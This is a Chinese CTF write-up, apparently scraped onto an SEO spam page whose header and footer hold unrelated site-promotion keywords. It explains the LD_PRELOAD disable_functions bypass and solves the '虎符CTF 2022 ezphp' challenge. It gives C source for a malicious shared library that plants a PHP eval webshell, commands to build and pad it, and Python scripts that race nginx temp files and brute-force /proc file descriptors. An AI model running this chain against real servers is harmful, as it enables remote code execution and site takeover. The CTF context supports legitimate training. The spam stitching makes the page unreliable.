当前位置: 首页 > news >正文

谷歌seo搜索引擎优化官网seo关键词排名系统

谷歌seo搜索引擎优化,官网seo关键词排名系统,什么公司做网站的多,商业空间设计方案ppt文章目录 原理LD_PRELOAD介绍如何上传.so文件 例题 [虎符CTF 2022]ezphp 原理 LD_PRELOAD介绍 LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接…

文章目录

  • 原理
    • LD_PRELOAD介绍
    • 如何上传.so文件
  • 例题 [虎符CTF 2022]ezphp


原理

LD_PRELOAD介绍

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

什么是链接

程序的链接主要有以下三种:

静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。
使用LD_PRELOAD绕过的条件

能够上传自己的.so文件
能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等

当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。

如何上传.so文件

利用Nginx 在后端 Fastcgi 响应过大产生临时文件和竞争包含去解决
详细可参考[HXPCTF 2021]includer’s revenge

简单的RCE就是可以蚁剑连接后在/tmp下上传,难的话就像下面的例题

例题 [虎符CTF 2022]ezphp

源码如下

 <?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?> 

就是简单的三元运算符,存在参数env

首先恶意.so文件的构造
创建1.c文件,写入一句话木马,写到shell.php

#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");system("echo \"<?php eval(\\$_POST['cmd']);?>\" > /var/www/html/shell.php");
}

注:\\是为了防转义(\\\待定)

然后在Linux系统下用自带的gcc进行编译

gcc -shared -fPIC 1.c -o 1.so

增大so文件的大小,在so文件尾部加入脏字符

var=`dd if=/dev/zero bs=1c count=10000 | tr '\0' 'c'

再执行

echo $var >> 1.so

可以看到文件是变大了

在这里插入图片描述
然后上脚本

脚本一(向网站发包)

from threading import Thread
import requests
import socket
import timeport = 28552
host = "node2.anna.nssctf.cn"def do_so():data = open("1.so", "rb").read()packet = f"""POST /index.php HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) + 11}\r\n\r\n"""packet = packet.encode()packet += datas = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.sendall(packet)time.sleep(10)s.close()if __name__ == "__main__":do_so()

脚本二(爆破一下pid)

import requests
from threading import Threadport = 28552
host = "node2.anna.nssctf.cn"def ldload(pid, fd):sopath = f"/proc/{pid}/fd/{fd}"print(sopath)r = requests.get(f"http://{host}:{port}/index.php", params={"env":f"LD_PRELOAD={sopath}"})return rif __name__ == "__main__":# ldload(20, 20)for pid in range(12, 40):for fd in range(1, 40):t = Thread(target=ldload, args=(pid, fd))t.start()

在Linux同时运行脚本(当然windows也行)

python3 1.py & python3 2.py

通过脚本,一直往服务器传写入so文件
在这里插入图片描述传入成功后,在/shell.php直接命令执行

http://www.wooajung.com/news/615.html

相关文章:

  • 做调查赚钱哪些网站最靠谱江小白网络营销案例
  • 宁波做网站优化百度app下载安装官方免费版
  • 网站优化实习报告品牌推广策略有哪几种
  • 网站登录窗口怎么做磁力链最佳的搜索引擎
  • 佛山html5网站建设重庆好的seo平台
  • 江苏网站建设seo优化短视频营销的发展趋势
  • 个人在国外网站做电商免费网站搭建
  • 上海 网站建设公司bt磁力在线种子搜索神器下载
  • 室内设计师工资一般多少开鲁网站seo
  • 万户网络做网站怎么样域名注册购买
  • 深圳网站制作公司怎么样南宁seo推广
  • 成都锦江规划建设局网站seo课程培训班
  • 哈尔滨网站建设30tseo交流博客
  • 做一个内容网站多少钱站长素材
  • 手机哪个网站好福州seo公司排名
  • 四川做网站今日国内新闻头条
  • 建设个公司网站需要多少费用抖音seo关键词优化排名
  • 怎样才能申请网站北京seo公司
  • 共青团网站建设相关意见在线seo工具
  • 企业网站运营问题一个具体网站的seo优化方案
  • 移动网站 pc网站的区别吗客户关系管理
  • 网站设计怎么做链接怎么百度推广
  • 做网站手机版和电脑版怎么区分互联网推广渠道有哪些
  • 个人网站怎么做百度推广b站在哪付费推广
  • 17网一起做网店网站2022年列入传销组织最新骗法
  • php做网站访问记录东莞精准网络营销推广
  • 浙江建设厅继续教育网站seo搜索排名优化是什么意思
  • python能够做网站东莞seo优化案例
  • 网站建设市区软文素材
  • 黄山建设网站公司电话宁波网络建站模板